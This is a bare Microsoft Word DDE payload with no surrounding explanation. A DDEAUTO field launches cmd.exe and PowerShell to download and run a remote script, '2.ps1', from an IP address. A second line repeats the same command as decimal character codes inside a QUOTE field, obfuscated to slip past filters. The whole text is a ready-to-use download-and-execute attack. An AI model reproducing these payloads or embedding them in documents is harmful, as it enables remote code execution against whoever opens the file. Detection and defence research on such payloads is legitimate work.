DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell.exe IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.5/2.ps1');
{SET C "{ QUOTE 68 68 69 65 85 84 79 32 99 58 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 99 109 100 46 101 120 101 32 34 47 107 32 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 73 69 88 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 49 57 50 46 49 54 56 46 49 46 53 47 50 46 112 115 49 39 41 59 } "}{DDE {REF C}  "a"}